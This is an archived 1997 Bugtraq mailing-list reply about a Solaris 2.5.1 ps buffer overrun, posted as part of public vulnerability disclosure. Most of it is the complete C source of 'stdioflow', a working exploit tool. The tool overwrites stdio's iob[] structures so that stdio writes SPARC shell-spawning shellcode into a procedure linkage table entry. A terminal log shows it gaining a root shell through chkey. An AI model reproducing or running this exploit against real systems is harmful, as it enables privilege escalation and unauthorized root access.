[4511] in bugtraq

home help back first fref pref prev next nref lref last post

Re: Finally, most of an exploit for Solaris 2.5.1's ps.

daemon@ATHENA.MIT.EDU (Adam Morrison)
Mon May 19 18:37:36 1997

Date: 	Mon, 19 May 1997 22:34:58 +0300
Reply-To: Adam Morrison <adam@MATH.TAU.AC.IL>
From: Adam Morrison <adam@MATH.TAU.AC.IL>
X-To:         jzbiciak@DALDD.SC.TI.COM
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To:  <199705180151.UAA08955@sun_3447> from "Joe Zbiciak" at May 17,
              97 08:51:10 pm

Uh, the joys of not keeping up with my mail.  I've already seen your full
exploit, but I thought you might still find some interest in this.

> I finally managed to construct most of an exploit for Solaris'
> /usr/bin/ps.  This exploit does *not* use the getopt()/argv[0] hole.
> Rather, it uses the buffer overrun I isolated a couple weeks ago.  I've
> sent a copy of this to Casper Dik over at Sun as well; hopefully he's
> convinced now that a proper patch for Solaris 2.5.1 is a good idea.

The latest version of Sun patch 103612 has fixes for getopt() overrun, as
well as the ones in getpwnam_r() and getgrnam_r() and some others.

> This partial exploit is unique in that it does *not* rely on an
> executable stack.  Rather, it overwrites the buffer pointers in _iob[0]
> through _iob[2], thus inducing stdio streams to do the dirty work.

It may not be as unique as you think; because of the way most source code
looks like, almost any program that uses stdio(3S) has iob[] after any
variables declared in the program.  Thus, this is really the cookie cutter
data buffer overrun -- it only takes more brains to use.  A classical
example of this hole is in chkey(1).

        10:47  [wumpus:~] % stdioflow
        usage: stdioflow [options] buf(name or @address) libaddr program args
        options: [-l library] [-f function] [-o offset] [-e env]
        10:47  [wumpus:~] % stdioflow -o 7 program_name 0xef640000 \
                /usr/bin/chkey %s -s woop
        Using library /usr/lib/libc.so at 0xef640000
        Using PLT at 0x8ef70
        Found _exithandle at 0x1be4
        Buffer at 0x24e88
        iob[] at 0x24f90
        Using absolute address 0xef6d0b4d
        Using 264 bytes
        # /usr/ucb/whoami
        root

> The exploit source below succeeds in getting a non-suid copy of
> /usr/bin/ps to write its usage message overtop of the "procedure
> linkage table".  The next dynamic library call to an unlinked
> procedure would initiate the exploit code itself.  (In this case,
> it attempts to execute the ascii text of the usage message, which
> isn't all that useful.)

You might experience problems with this approach; I don't remember the
exact difficulties I had, but essentially the dynamic loader faulted when
the first few entries of the PLT ``rug'' got pulled out from under it when
an stdio function overwrote them.

> One drawback to this exploit is that it is *very* difficult to set the
> "environ" pointer correctly; it took me awhile to get that correct.
> I've commented the specific line which affects the environ pointer.

If you don't mess with environ from within your program (instead, do a
setenv from the shell and then run your exploit) and play with your
arguments nicely, its value should not change.

> Perhaps some of you Solaris junkies out there can flesh out the missing
> half to this exploit (the file "/tmp/foo" as currently referenced in the
> exploit source).

This gettext() trick is really something I hadn't thought of.  I don't think
it should be too difficult.  I will add it to my program.

> On a different level, I think this exploit is fairly unique in its
> methodology; it points to the fact that overrunning static data can
> actually be more dangerous than overrunning automatic data on the
> stack, because setting the stack non-executable doesn't help you
> anymore.  In this case, I hijacked the stdio file streams to do my
> bidding.

Lest anyone say that this is a Solaris only problem, I note that the BSD
FILE structure contains function pointers, so exploiting a similar overrun
condition there would be trivial.


                                                adam?

/*
 * stdioflow -- exploit for data overrun conditions
 * adam@math.tau.ac.il (Adam Morrison)
 *
 * This program causes programs which use stdio(3S) and have data buffer
 * overflow conditions to overwrite stdio's iob[] array of FILE structures
 * with malicious, buffered FILEs.  Thus it is possible to get stdio to
 * overwrite arbitrary places in memory; specifically, it overwrites a
 * specific procedure linkage table entry with SPARC assembly code to
 * execute a shell.
 *
 * Using this program involves several steps.
 *
 * First, find a code path which leads to the use of stdout or stderr after
 * the buffer has been overwritten.  The default case being
 *
 *      strcpy(buffer, argv[0]);
 *      / we gave it wrong arguments /
 *      fprintf(stderr, "usage: %s ...\n", buffer);
 *      exit(1);
 *
 * In this case you need to overwrite exit()'s PLT entry.
 *
 * Second, find out the address that the library that contains the PLT
 * you want to overwrite (in this case, it would be libc) gets mmapped()
 * to in the process' address space.  You need it to calculate the
 * absolute of the PLT entry.  (Doing this is left as an, uh, exercise
 * to the reader.)
 *
 * Finally, calculate the offset to take from the PLT entry -- you don't
 * want ``usage: '' in the table, but the instructions in ``%s''.  In this
 * case, it would be 7.
 *
 * Then run it.
 */
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <libelf.h>

#include <sys/types.h>
#include <sys/link.h>

#define PLT_SYMBOL "_PROCEDURE_LINKAGE_TABLE_"

u_int shellcode[] = {
  0x821020ca,
  0xa61cc013,
  0x900cc013,
  0x920cc013,
  0xa604e001,
  0x91d02008,
  0x2d0bd89a,
  0xac15a16e,
  0x2f0bdcda,
  0x900b800e,
  0x9203a008,
  0x941a800a,
  0x9c03a010,
  0xec3bbff0,
  0xdc23bff8,
  0xc023bffc,
  0x8210203b,
  0x91d02008,
};
int shell_len = sizeof (shellcode) / sizeof (u_long);
u_long meow = 0x6d656f77;
char *prog;

void elferr(void);
u_long symval(char *, char *);
u_long plt_offset(char *, char *);

void
usage()
{
        fprintf(stderr, "usage: %s [options] buf(name or @address) libaddr program args\n", prog);
        fprintf(stderr, "options: [-l library] [-f function] [-o offset] [-e env]\n");
        exit(1);
}

main(int argc, char **argv)
{
        char *env = NULL;
        char *library = "/usr/lib/libc.so";
        char *function = "_exithandle";
        u_long off, uoff = 0;
        u_long libaddr, pltaddr, bufaddr, iobaddr;
        u_long pltent;
        char *prognam, *bufnam;
        int buflen;
        char *badbuf;
        u_long *bp;
        int c;
        extern char *optarg;
        extern int optind;
        char **arg0, **arg;

        prog = strrchr(argv[0], '/');
        if (prog)
          ++prog;
        else
          prog = argv[0];

        while ((c = getopt(argc, argv, "l:f:o:e:")) != EOF)
          switch (c) {
          case 'l':
            library = optarg;
            break;
          case 'f':
            function = optarg;
            break;
          case 'o':
            uoff = strtol(optarg, (char **)0, 0);
            break;
          case 'e':
            env = optarg;
            break;
          default:
            usage();
          }

        if (argc - optind < 3)
          usage();

        bufnam = argv[optind];

        /*
         * This is the address that the library in which `function'
         * lives gets mapped to in the child address space.  We could force
         * a non-privileged copy of `prognam' to dump core, and fish
         * out the memory mappings from the resulting core file; but this
         * is really something users should be able to do themselves.
         */
        libaddr = strtoul(argv[optind+1], (char **)0, 0);
        if (libaddr == 0) {
          fprintf(stderr, "%s: impossible library virtual address: %s\n",
                  prog, argv[optind+1]);
          exit(1);
        }
        printf("Using library %s at 0x%p\n", library, libaddr);

        prognam = argv[optind+2];

        arg0 = &argv[optind+3];

        /*
         * `pltaddr' is the offset at which the library's PLT will be
         * at from `libaddr'.
         */
        pltaddr = symval(library, PLT_SYMBOL);
        if (pltaddr == 0) {
          fprintf(stderr, "%s: could not find PLT offset from library\n",
                  prog);
          exit(1);
        }
        printf("Using PLT at 0x%p\n", pltaddr);

        /*
         * `off' is the offset from `pltaddr' in which the desired
         * function's PLT entry is.
         */
        off = plt_offset(library, function);
        if (off == 0) {
          fprintf(stderr, "%s: impossible offset from PLT returned\n", prog);
          exit(1);
        }
        printf("Found %s at 0x%p\n", function, off);

        /*
         * `bufaddr' is the name (or address) of the buffer we want to
         * overflow.  It's not a stack buffer, so finding it out is trivial.
         */
        if (bufnam[0] == '@')
          bufaddr = strtol(&bufnam[1], (char **)0, 0);
        else
          bufaddr = symval(prognam, bufnam);

        if (bufaddr == 0) {
          fprintf(stderr, "%s: illegal buffer address: %s\n", prog, prognam);
          exit(1);
        }
        printf("Buffer at 0x%p\n", bufaddr);

        /*
         * `iobaddr' is obviously the address of the stdio(3) array.
         */
        iobaddr = symval(prognam, "__iob");
        if (iobaddr == 0) {
          fprintf(stderr, "%s: could not find iob[] in %s\n", prog, prognam);
          exit(1);
        }
        printf("iob[] at 0x%p\n", iobaddr);

        /*
         * This is the absolute address of the PLT entry we want to
         * overwrite.
         */
        pltent = libaddr + pltaddr + off;

        buflen = iobaddr - bufaddr;
        if (buflen < shell_len) {
          fprintf(stderr, "%s: not enough space for shell code\n", prog);
          exit(1);
        }
        if (env) {
          buflen += strlen(env) + 5;
          if (buflen & 3) {
            fprintf(stderr, "%s: alignment problem\n", prog);
            exit(1);
          }
        }
        badbuf = (char *)malloc(buflen);
        if (badbuf == 0) {
          fprintf(stderr, "%s: out of memory\n", prog);
          exit(1);
        }

        if (env) {
          buflen -= (strlen(env) + 5);
          sprintf(badbuf, "%s=", env);

          bp = (u_long *)&badbuf[strlen(badbuf)];
        } else
          bp = (u_long *)badbuf;

        buflen /= sizeof (*bp);
        for (c = 0; c < shell_len; c++)
          *bp++ = shellcode[c];

        for (; c < buflen; c++)
          *bp++ = meow;

        /*
         * stdin -- whatever
         */
        *bp++ = -29;
        *bp++ = 0xef7d7310;
        *bp++ = 0xef7d7310 - 29;
        *bp++ = 0x0101ffff;

        /*
         * stdout
         */
        *bp++ = -29;
        *bp++ = pltent - uoff;
        *bp++ = pltent - 29;
        *bp++ = 0x0201ffff;

        /*
         * stderr
         */
        *bp++ = -29;
        *bp++ = pltent - uoff;
        *bp++ = pltent - 29;
        *bp++ = 0x0202ffff;

        *bp++ = 0;

        printf("Using absolute address 0x%p\n", pltent - uoff);

        /*
         * Almost ready to do the exec()
         */
        if (env)
          putenv(badbuf);
        else
          for (arg = arg0; arg && *arg; arg++) {
            if (strcmp(*arg, "%s") == 0)
              *arg = badbuf;
          }

        printf("Using %d bytes\n", buflen*4);

        if (execv(prognam, arg0) < 0) {
          perror("execv");
          exit(1);
        }

}

u_long
symval(char *lib, char *name)
{
        int fd;
        int i, nsym;
        u_long addr = 0;
        Elf32_Shdr *shdr;
        Elf *elf;
        Elf_Scn *scn = (Elf_Scn *)0;
        Elf32_Ehdr *ehdr;
        Elf_Data *dp;
        Elf32_Sym *symbol;
        char *np;

        fd = open(lib, O_RDONLY);
        if (fd < 0) {
          perror("open");
          exit(1);
        }

        /* Initializations, see elf(3E) */
        (void) elf_version(EV_CURRENT);
        elf = elf_begin(fd, ELF_C_READ, 0);
        if (elf == (Elf *)0)
          elferr();

        ehdr = elf32_getehdr(elf);
        if (ehdr == (Elf32_Ehdr*)0)
          elferr();

        /*
         * Loop through sections looking for the dynamic symbol table.
         */
        while ((scn = elf_nextscn(elf, scn))) {

          shdr = elf32_getshdr(scn);
          if (shdr == (Elf32_Shdr *)0)
            elferr();

          if (shdr->sh_type == SHT_DYNSYM)
              break;
        }

        if (scn == (Elf_Scn *)0) {
          fprintf(stderr, "%s: dynamic symbol table not found\n", prog);
          exit(1);
        }

        dp = elf_getdata(scn, (Elf_Data *)0);
        if (dp == (Elf_Data *)0)
          elferr();

        if (dp->d_size == 0) {
          fprintf(stderr, "%s: .dynamic symbol table empty\n", prog);
          exit(1);
        }

        symbol = (Elf32_Sym *)dp->d_buf;
        nsym = dp->d_size / sizeof (*symbol);

        for (i = 0; i < nsym; i++) {
          np = elf_strptr(elf, shdr->sh_link, (size_t)
                          symbol[i].st_name);
          if (np && !strcmp(np, name))
            break;

        }

        if (i < nsym)
          addr = symbol[i].st_value;

        (void) elf_end(elf);
        (void) close(fd);

        return (addr);
}

u_long
plt_offset(char *lib, char *func)
{
        int fd;
        Elf *elf;
        Elf_Scn *scn = (Elf_Scn *)0;
        Elf_Data *dp;
        Elf32_Ehdr *ehdr;
        Elf32_Rela *relocp = (Elf32_Rela *)0;
        Elf32_Word pltsz = 0;
        Elf32_Shdr *shdr;
        Elf_Scn *symtab;
        Elf32_Sym *symbols;
        char *np;
        u_long offset = 0;
        u_long plt;

        fd = open(lib, O_RDONLY);
        if (fd < 0) {
          perror("open");
          exit(1);
        }

        /* Initializations, see elf(3E) */
        (void) elf_version(EV_CURRENT);
        elf = elf_begin(fd, ELF_C_READ, 0);
        if (elf == (Elf *)0)
          elferr();

        ehdr = elf32_getehdr(elf);
        if (ehdr == (Elf32_Ehdr *)0)
          elferr();

        /*
         * Loop through sections looking for the relocation entries
         * associated with the procedure linkage table.
         */
        while ((scn = elf_nextscn(elf, scn))) {

          shdr = elf32_getshdr(scn);
          if (shdr == (Elf32_Shdr *)0)
            elferr();

          if (shdr->sh_type == SHT_RELA) {
            np = elf_strptr(elf, ehdr->e_shstrndx, (size_t) shdr->sh_name);
            if (np && !strcmp(np, ".rela.plt"))
              break;
          }

        }

        if (scn == (Elf_Scn *)0) {
          fprintf(stderr, "%s: .rela.plt section not found\n", prog);
          exit(1);
        }

        dp = elf_getdata(scn, (Elf_Data *)0);
        if (dp == (Elf_Data *)0)
          elferr();

        if (dp->d_size == 0) {
          fprintf(stderr, "%s: .rela.plt section empty\n", prog);
          exit(1);
        }

        /*
         * The .rela.plt section contains an array of relocation entries,
         * the first 4 are not used.
         */
        relocp = (Elf32_Rela *)dp->d_buf;
        pltsz = dp->d_size / sizeof (*relocp);

        relocp += 4;
        pltsz -= 4;

        /*
         * Find the symbol table associated with this section.
         */
        symtab = elf_getscn(elf, shdr->sh_link);
        if (symtab == (Elf_Scn *)0)
          elferr();

        shdr = elf32_getshdr(symtab);
        if (shdr == (Elf32_Shdr *)0)
          elferr();

        dp = elf_getdata(symtab, (Elf_Data *)0);
        if (dp == (Elf_Data *)0)
          elferr();

        if (dp->d_size == 0) {
          fprintf(stderr, "%s: dynamic symbol table empty\n", prog);
          exit(1);
        }

        symbols = (Elf32_Sym *)dp->d_buf;

        /*
         * Loop through the relocation list, looking for the desired
         * symbol.
         */
        while (pltsz-- > 0) {
          Elf32_Word ndx = ELF32_R_SYM(relocp->r_info);

          np = elf_strptr(elf, shdr->sh_link, (size_t)
                          symbols[ndx].st_name);
          if (np && !strcmp(np, func))
            break;

          relocp++;
        }

        if (relocp) {
          plt = symval(lib, PLT_SYMBOL);
          offset = relocp->r_offset - plt;
        }

        (void) elf_end(elf);
        (void) close(fd);

        return (offset);
}

void
elferr()
{
        fprintf(stderr, "%s: %s\n", prog, elf_errmsg(elf_errno()));

        exit(1);
}

home help back first fref pref prev next nref lref last post